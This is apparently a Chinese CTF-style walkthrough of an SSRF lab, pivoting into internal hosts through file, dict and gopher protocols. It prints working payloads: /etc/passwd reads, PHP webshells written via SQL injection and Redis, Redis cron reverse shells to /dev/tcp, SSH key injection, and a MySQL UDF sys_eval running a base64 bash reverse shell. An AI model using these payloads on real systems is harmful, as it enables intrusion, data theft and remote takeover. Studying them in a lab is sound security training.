赞
踩
这里通过国光的靶场来对SSRF进行练习,看一下靶场的设计图
理清楚一下攻击流程,在172.72.23.21这个服务器的80端口存在SSRF漏洞,并且80端口映射到了公网的8080,攻击者可以在8080端口借助SSRF漏洞发起对172目标内网的探测和攻击。
能够对外网发起请求的地方,就有可能存在SSRF。看一下这个站点的正常功能,是一个站点快照获取。
先试试访问一下外网,用www.baidu.com来试一下。
发现访问成功,并且将内容反应到前端。接下来访问一下内网url,测试请求127.0.0.1,看看会发生什么?
发现产生了套娃,127.0.0.1的快照和该主页的一模一样。网站请求了我们的127.0.0.1的80端口,也就是我们浏览的页面,所以会有套娃现象。通过测试可以确定此处存在SSRF漏洞点,没有对用户的输入进行过滤,导致攻击者可以发起任意的外内网请求。
SSRF一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie(存放网络适配器地址),从而获得目标主机的内网网段并进行爆破,后面两个所需要的权限高一点。
首先尝试用file协议读取一下/etc/passwd文件看看
file:///etc/passwd
成功读到了文件,接下来尝试获取存在SSRF漏洞的本机内网IP信息,确定内网网段。
file:///etc/hosts
发现SSRF漏洞处于172.72.23.xx网段,接下来对内网资产段进行信息收集。
在一般情况下,可以先用http协议探测IP存活,然后再通过存活的IP继续探测开放的端口,先在bp演示一下探测IP存活信息。
首先在输入框输入http://172.72.23.21进行抓包,发送到Intruder模块进行爆破,模式选择狙击手(Sniper),选中爆破点。
接着选择数值进行爆破
这样子爆破出来的结果会存在一定误差,23、26、27、29都是存活的,但它的长度还是和后面30、31不存活的一样,这可能与它们运行的服务有关。
可以通过查看响应的时间来确定该主机是否存活,例如29是存活的,响应时间较快。
31是不存活的,响应时间较慢, 在实际渗透中可以通过自己写个脚本,通过时间差来判断是否存活。
存在误差的话,我们也可以直接带着端口一起用dict爆破,但是这样子有个缺点,感觉时间会很久。在存在SSRF漏洞的地方输入dict:172.72.23.21,用bp抓包发送到爆破模块,在21处加上变量符号,选择自动迭代器。
得到爆破结果根据长度判断哪些端口处于打开状态,dict协议可以通过返回的指纹信息,确认开启了什么服务。
直接找到长度出现最多的那个,就是2194,点进去可以发现没有返回的信息,这时候大概可以猜测后面的都是端口未打开。
通过dict返回的指纹信息判断开启的服务,仔细查看可以发现开启了未授权Redis服务得回来的信息是这样的,一般在6379端口存在Redis服务。
而有授权的Redis服务是这样子
Mysql未授权是这样的
而代码注入、命令执行、XML实体注入返回的指纹信息都是一样的
存在sql注入的地方相比上面则是有一点微小的不同,而且会在80外的另一个端口(一般是3306)存在数据库
对于某个主机8080端口的话,可能存在 CVE-2017-12615 任意写文件漏洞,根据dict协议回来的指纹信息,没有特别支持,只能在是8080端口的前提下猜测存在该漏洞。
这是靶场作者整理出来的端口开放情况。
172.72.23.21 - 80
172.72.23.22 - 80
172.72.23.23 - 80、3306
172.72.23.24 - 80
172.72.23.25 - 80
172.72.23.26 - 8080
172.72.23.27 - 6379
172.72.23.28 - 6379
172.72.23.29 - 3306
可以在运行docker的服务器上下载一个图形化,或者弄个socks代理。然后访问172.72.23.21就可以通过上帝视角来看到站点的正常功能,有利于更好地理解后面的SSRF攻击,这里我直接借一下靶场作者的图。
index.php
一个正常的提示页面,啥也没有:
phpinfo.php
凑数勉强算是一个敏感文件.
shell.php
经典的sysytem一句话木马
利用SSRF对内网资产目录进行目录扫描,传统的御剑、dirsearch等工具不太方便,最好的办法是载入目录扫描字典,对172.72.23.22进行爆破,字典链接发在下面。
GitHub - cpkkcb/fuzzDicts: 渗透测试路径字典,爆破字典。内容来自互联网和实战积累。
可以发现存在phpinfo.php、shell.php,在攻击时可以通过查看响应来查看文件信息。
因为shell.php存在,那么我们可以直接get请求传递参数,执行我们的命令,直接cat /flag。但是在浏览器中输入需要进行一次编码,即cat%20/flag。
因为浏览器发送数据包的时候会经过一次url编码,将%20编码成%2520,然后发送到172.72.23.21的服务器端做一次解码,变成%20。接着会通过该服务器端向172.72.23.22服务器端发送请求,请求到达后做最后一次解码,得到命令,如果一开始不编码的话,会造成解码错误,导致命令执行不成功。
因为bp是在浏览器已经编码一次后拦截数据包的,所以要将%20手动编码一次。
通过上帝视角来看一下正常功能点。
先判断是哪种类型的注入,输入172.72.23.23/?id=1',发现sql语法的错误
换成172.72.23.23/?id=1",发现没有报错
大致可以判断是单引号字符型注入,接下来找字段数,输入order by语句判断列数
- 172.72.23.23/?id=1'%20order%20by%201--%20
- 172.72.23.23/?id=1'%20order%20by%202--%20
-
- 172.72.23.23/?id=1'%20order%20by%203--%20
- 172.72.23.23/?id=1'%20order%20by%204--%20
一直到order by 5的时候页面回显错误,所以判断有4个字段。
接着通过172.72.23.23/?id=1'%20union%20select%201,2,3,4--%20来判断回显位,会发现没有任何变化
把payload换成下面的语句才能得到回显位
172.72.23.23/?id=1'%20and%201=2%20union%20select%201,2,3,4--%20
或者
172.72.23.23/?id=-1'%20union%20select%201,2,3,4--%20
因为程序在展示数据的时候通常只会取结果集的第一行数据,mysql_fetch_array只被调用了一次,所以这里无论怎么折腾最后只会出来第一行的查询结果。修改后的payload前面是-1,-1是不存在的,不会返回数据,所以只会返回后面查询的结果。
后面的就是常规的爆库名、表名、列名......
由于靶场作者在制作的时候给了777权限,所以可以尝试用mysql的into outfile或者into dump file来写shell,这两个的区别请看下面这篇博客。MySQL注入中的outfile、dumpfile、load_file函数详解 - ZZtac - 博客园https://www.cnblogs.com/zztac/p/11371149.html
利用into outfile写shell的前提条件:
知道网站的物理路径
当前网站为高权限数据库用户
load_file开启即secure_file_priv权限开启
网站路径有写入权限
secure_file_priv值的不同情况
NULL ——不允许导入导出
/tmp ——只允许在/tmp目录导入导出
空 ——不限制目录
在MySQL5.5前secure_file_priv默认是空的,可以向任意绝对路径写文件
在MySQL5.5后secure_file_priv默认是NULL的,不允许写文件
在bp执行的写shell代码
url=172.72.23.24?id=1'%2520union%2520select%25201,2,3,'<?php%2520eval($_GET[1]);?>'%2520into%2520outfile%2520/var/www/html/shell.php'--%2520
然后回到页面端执行system('cat%20/flag');就行,或者在bp把%20改成%2520执行也行。
可以看到是一个网络接口测试,一般是通过linux管道符对输入的东西进行拼接,造成可以执行任意命令。
这个场景和之前的不一样,之前的都是通过GET请求来传递参数完成攻击的,但是这个命令执行的场景是通过POST的参数来完成攻击。我们无法通过http协议来传递POST数据,所以得用到一个古老的协议———gopher协议,来发起对内网的POST请求。
Gopher协议的定义
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
Gopher协议的请求格式
gopher://<host>:<port>/<gopher-path>_TCP数据流
首先随便抓取一个POST的数据包,就抓取靶场的POST的数据包为例,有以下几个参数是Gopher做POST请求时必备的。
gopher协议的深入研究可以看一下这篇文章Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎******文末有视频讲解****** 关注我不迷路,我来带你上高速;图文并茂加视频,安全学习不止步。 1、什么是gopher协议? 2、如何使用gopher协议反弹shell? 3、在SSRF中如何使用gopher协议反弹shell?本文所使用到的…https://zhuanlan.zhihu.com/p/112055947
POST / HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:
来看一下通过靶场抓取的POST数据包
那么要构造一个攻击包,直接删掉多余的数据,只留下必备的就行,然后改成下面这个样子。对于Content-Length,点击发送一下bp会自动统计长度,最后进行两次url编码就ok了。
可以看到顺利得到flag了,为什么gopher://172.72.23.24/_后面需要加一个_呢?原因是gopher协议在传输的时候会吃掉一个字符,后面这个字符是啥都行。
Redis未授权的定义
Redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
内网的172.72.23.27主机上运行着未授权的Redis服务,因为上面的系统没有Web服务(无法写shell);无SSH公私钥认证(无法写公钥),所以这里只能通过定时任务来反弹shell,写shell的攻击思路为:
#清空所有数据,实操的时候别这样,会导致删库,后果.........
flushall
#利用config命令,设置要操作的路径为定时任务目录下
config set dir /var/spool/cron/#建立定时任务文件为root
config set dbfilename root
#设置定时任务内容,开始和结束的\n是为了避免crontab的语法错误,五个*是每分钟执行一次
set x "\n * * * * * /bin/bash -i >& /dev/tcp/xxx.xx.xx/8888 0>&1\n"
#保存操作
save
还要另一种方式,要第二第三步有点变化,也是利用定时任务的原理,可以通过这篇博客看一下二者的区别。
#清空所有数据
flushall
#利用config命令,设置要操作的路径为/etc/
config set dir /etc/
#建立定时任务文件为crontab
config set dbfilename crontab
#保存操作
save
Redis未授权之写公钥
这是Redis未授权危害最大的攻击方式,大致的过程为:
1.客户端生成私钥和公钥,并把公钥拷贝给服务器端
2.客户端发起登陆请求,发送自己的相关信息
3.服务器端根据客户端发来的信息查找是否有该客户端的公钥,若没有拒绝登陆;若有则生成一段随机数,
使用该公钥加密后发给客户端4.客户端收到服务器发来的加密信息后使用私钥解密,并把解密后的结果发给服务器用于验证
5.服务器收到客户端发来的解密结果,与刚刚自己生成的随机数对比,如果一致就允许登陆;不一致则拒绝登陆
写公钥利用条件:
Redis为root账号启动
服务器开启了SSH服务,允许远程私钥登录
利用原理:
原理是利用config命令向服务器中插入一条数据 ,通过修改Redis数据库默认路径为/root/.ssh和默认缓冲文件authorized.keys,把缓冲数据保存在里面,这样子就在服务端的/root/.ssh文件下得到了一个授权的公钥
借一下别人的图来理解一下
写公钥的攻击步骤
一、在kali终端通过ssh-keygen -t rsa生成密钥,接着找到生成的文件,复制里面的公钥后面有用
二、通过config命令写入文件中
config set dir /etc/.ssh/
config set dbfilename authorized_keys
set x "\n复制的公钥\n"
save
三、最后登录就行了
ssh -i id_rsa root@192.168.110.8
具体操作看这篇博客吧
Redis未授权访问漏洞总结 | madcoding’s blog
#清空所有数据
dict://172.72.23.27:6379/flushall
#利用config命令,设置要操作的路径为定时任务目录下
dict://172.72.23.27:6379/config set dir /var/spool/cron/#建立定时任务文件为root
dict://172.72.23.27:6379/config set dbfilename root
#设置定时任务内容,开始和结束的\n是为了避免crontab的语法错误,五个*是每分钟执行一次
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/xxx.xx/8888 0>%261\n"
#保存操作
dict://172.72.23.27:6379/save
这里有个坑,得把&进行url编码成%26,不然会提示有错误,最后抓一下包在bp操作,浏览器可能会url编码打乱payload。
该 172.72.23.28 主机运行着 Redis 服务,但是有密码验证,无法直接未授权执行命令,不过除了 6379 端口还开放了 80 端口,是一个经典的 LFI 本地文件包含,可以利用此来读取本地的文件内容:
因为 Redis 密码记录在 redis.conf 配置文件中,结合这个文件包含漏洞点,那么这时来尝试借助目标机器的文件包含漏洞来读取 redis 的配置文件信息,Redis 常见的配置文件路径如下:
/etc/redis.conf
/etc/redis/redis.conf
/usr/local/redis/etc/redis.conf
/opt/redis/ect/redis.conf
成功读取到 /etc/redis.conf 配置文件,直接搜索 requirepass关键词来定位寻找密码P@ssw0rd
有密码的话可以使用 dict 协议进行密码认证,但是因为 dict 不支持多行命令的原因,这样就导致认证后的参数无法执行,所以 dict 协议理论上来说是没发攻击带认证的 Redis 服务的。
那么只能使用我们的老伙计 gopher 协议了,gopher 协议因为需要原生数据包,所以我们需要抓取到 Redis 的请求数据包。可以使用 Linux 自带的 socat 命令来进行本地的模拟抓取。
Redis请求数据包的抓取看这个吧,太麻烦没有演示,后面可以使用工具构造payload,嫌麻烦可以不看
手把手带你用 SSRF 打穿内网 | 国光国光https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-24
先明确一下攻击思路,和前面的弹shell差不多,区别在于这里使用gopher协议,如果条件允许的话也是可以用dict协议来写shell的。
# 认证 redis
auth P@ssw0rd# 清空 key
flushall# 设置要操作的路径为网站根目录
config set dir /var/www/html# 在网站目录下创建 shell.php 文件
config set dbfilename shell.php# 设置 shell.php 的内容
set x "\n<?php eval($_GET[1]);?>\n"# 保存上述操作
save
这里直接使用自动化工具,下载地址:
GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servershttps://github.com/tarunkant/Gopherus下载后复制解压后的文件到kali运行,在本地我运行失败了。在gopherus.py这里点击在终端打开,然后输入命令python gopherus.py --exploit redis
后面的选择phpshell,在打入一句话<?php eval($_GET[1]);?>就行了
复制生成的payload到bp解码,删除gopher://127.0.0.1:6379/_
加上下面这个
*2
$1
auth
$8
P@ssw0rd
这是Redis数据包的传输方式,*2代表此次传输两条指令,$1代表指令长度为1
最后将这个Redis的数据包url编码两次发送就行了
执行成功的话会在 /var/www/html 根目录下写入 shell.php 文件,密码为 1, 去靶场phpinfo一下发现成功了
后面直接cat一下flag
当无需密码认证时直接发送 TCP/IP 数据包即可。所以这种情况下是可以直接利用 SSRF 漏洞攻击 MySQL 的。因为使用 gopher 协议进行攻击需要原始的 MySQL 请求的 TCP 数据包,所以还是和攻击 Redis 应用一样,还是得先获取数据包,这里就直接利用前面的工具快速进行了,如果想知道如何获取数据包可以看靶场作者的博客。
手把手带你用 SSRF 打穿内网 | 国光https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-30
利用我们的工具,输入命令
python gopherus.py --exploit mysql
root
show databases;
将得到的payload前面改成gopher://172.72.23.29:3306/_,然后后面的来一次url编码
可以得到结果,先看一下172.72.23.29这台机子mysql里面的数据库
查看bp返回结果,发现数据连在了一起............有点无语,得根据经验来猜测......尽量还是用UDF提权吧。
在知道数据库后,进行查表,跟上面一样生成payload,有两个命令都可以用,感觉最后是用select开头那句,因为查出来更容易判断。最后,查出表是test。
use flag;show tables;
或者
select group_concat(table_name) from information_schema.tables where table_schema='flag';
接着查表里面的东西,命令在下面。
select group_concat(column_name) from information_schema.columns where table_name='test';
或者
use flag;show columns from test;
知道表里面有flag。
最后直接查flag,可能有点玄学在里面,多试几次。其实也可以直接use flag;select * from test;
直接查完test里面的东西。
use flag;select flag from test;
实际操作了一番查数据,发现有点玄学成分,而且意义不大。不如直接UDF提权然后反弹shell,下面将进行这一操作,更详细的可以看靶场作者之前的博客。
MySQL 漏洞利用与提权 | 国光https://www.sqlsec.com/2020/11/mysql.html#toc-heading-7 因为在/var中没有www,无法写shell。同时是/var目录没有写入权限,我们看一下。
drwxr-xr-x 1 root root 4096 Apr 10 2021 /var/log/中d后面的字母三个为一组
第一组rwx :表示拥有人(user)所有者的权限 (这里rwx:代表拥有人有可读,可写,可执行的权限)
第二组r-x:表示同组群(group)使用者权限(这里r-x代表同组群使用者有可读,可执行权限)
第三组r-x:表示其他(other)使用者权限(这里r-x代表其他使用者有可读,可执行权限)
具体的看一下这篇博客
Linux系统Web网站目录和文件安全权限设置 - sochishun - 博客园
我用docker ps查看镜像ID,然后通过docker exec -it 5c4a329f8306 sh进入shell,bash后直接用命令mysql进入mysql,查出来我是root,还是在/var/下面写不来文件.......最后问了一下学长,原来使用数据库就是其它用户的身份了,就算我在当前数据库是root,所以要通过给权限才能写,给权限的命令可以看一下这篇博客。
Linux系统Web网站目录和文件安全权限设置 - sochishun - 博客园
UDF提权的原理
udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为为‘.dll’或‘.so’。
简单地说,我可以在/lib/plugin/目录下写入udf.dll或者udf.so插件,然后利用usd.so来引入一个函数来方便使用者在mysql更好地查找数据之类的。那么此时攻击者可以引入一个sys_eval函数,因为sys_eval这个函数过于变态,其中的指令是以管理员权限运行的,所以这个时候我可以利用这个函数来反弹shell,得到最高权限。
创建sys_eval函数后的用法:
SELECT sys_eval('ipconfig');
返回网卡信息
利用条件
有mysql的root权限以及secure_file_priv的值为空
mysql5.1以上有写lib/plugin目录权限
一、查看secure_file_priv的值
show global variables like '%secure%';
或者
select @@secure_file_priv;
当 secure_file_priv 的值为 NULL ,表示限制 mysql不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysql的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值为空,表示不对 mysql的导入|导出做限制,此时可提权
二、查看系统架构以及plugin的目录
show variables like '%compile%';
show variables like '%plugin%';
如果没有plugin目录,可以在拿到webshell后自己创建。
打未授权mysql实操
因为我们要用gopher协议,所以需要原生数据包才能构造payload。那个gopher小工具生成的发送动态链构造udf.so文件payload,好像会少了点东西,所以这里用tcpdump抓取原生数据包。
一、用docker ps查看所有的容器id,直接docker exec -it ID sh进入容器端,然后bash进行操作。
二、下载tcpdump
下载tcpdump前得用apt update更新一下软件包,但好像国外的源太慢了,得先换成国内的源
地址在上面,先查看一下版本
cat /etc issue
知道是debian 9直接去上面那个博客复制粘贴就好了。
换源之后用apt update更新
再用命令apt install tcpdump下载tcpdump,中途得输入一个y
三、使用命令tcpdump -i lo port 3306 -w 1.pcapng进行监听3306端口,并把数据写入1.pcapng
重新开一个会话,像上面用docker exec -it.....一样进入mysql里面,用下面的命令对mysql发送动态链创建udf.so文件。
mysql -uroot -h127.0.0.1 -e "select ......省略大量payload;"
找到这个存放动态链的页面MySQL UDF 提权十六进制查询 | 国光
复制后依照格式写进去就行了,先看一下没写之前的文件目录,没有udf.so。
接着复制动态链用命令写一下,记得加引号。
用ls -l看一下发现写成功了
接着ctrl+c停止tcpdump的监听,不能ctrl+z,不能会导致数据包抓取错误。来到根目录下ls -l查看文件大小,发现已经抓取成功了,如果查看文件太小的话,应该是失败了,重新抓吧。
接下来再开一个会话,这是自己服务器的会话,不用进入mysql容器里面。将1.pcapng从mysql容器里面复制到自己的服务器。
docker cp ID:/1.pcapng /
后面就是从服务器下载到本地的机子用wireshark打开,找到第一个,点击追踪tcp流
选择发到3306端口的
接着选择原始数据
可以明显看到有换行,这里拿到在线网站来去掉换行,方便后面的操作。
接着使用我们的脚本生成gopher协议,直接复制下面的到kali里面新建一个1.py,建好后再1.py点击在这里打开终端。
import sys
def results(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)if __name__=="__main__":
s=sys.argv[1]
print(results(s))
复制我们去掉换行后的动态链进行生成,因为太长了,卡了也正常,喝口水等等,最后回车就好了。
python 1.py ...................
复制生成的payload去bp打就好了,因为之前生成了udf.so,所以得先把它删除了。
rm udf.so
记得对后面这段来一次url编码,编码前
编码后
发送成功我们查看成功创建了
接着就是创建sys_eval函数了,可以继续用上面的操作来抓包,也可以直接用gopher小工具生成payload,发送动态链创建的文件的payload太长了生成不了,但是创建函数、弹shell的payload都是可以生成的。
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
也是放到bp后对后面的进行url编码,先看一下没打之前的效果,进入MySQL查看,没有sys_eval函数
来到bp编码后发送,发送成功
再用select * from mysql.func;查一下,发现已经生成sys_eval函数
最后再弹shell就好了,弹shell的命令得改一下,在默认的情况可能弹不出来,所以去下面这个页面对命令编码一下。
select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMi8yMzMzIDA+JjE=|base64 -d|bash -i');
用这个去gopher工具生成就行了。
我这里是弹到服务器的8888端口,监听一下
nc -lvnp 8888
随后在bp发送弹shell的代码,查看发现已经得到了。
em..如果不小心操作错误了,想删除那个sys_eval函数,可以用delete from mysql.func where name='sys_eval';对该函数进行删除,虽然在mysql数据库里面没有了,但你重新引入这个函数的时候,mysql会提示已经存在............
网上有说在删除这个函数前用rm命令删除udf.so就会导致这样,但我没删除udf.so文件就删除该函数也会这样......不知道什么原因,这个函数虽然在mysql中查询里面查到被删除了,但还是可以继续弹shell。
如果想重置容器的话,可以先docker ps 查看ID,然后直接docker rm -f ID强制删除,最后再用docker-compose up -d 一键跑起所有镜像就行了。
https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php
在获取网站的shell,并且得到了数据库root用户的密码,就可以把它传到目标网站上,接着直接点按钮就好了。大致操作可以借鉴一下下面两篇
https://xz.aliyun.com/t/2719#toc-4
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。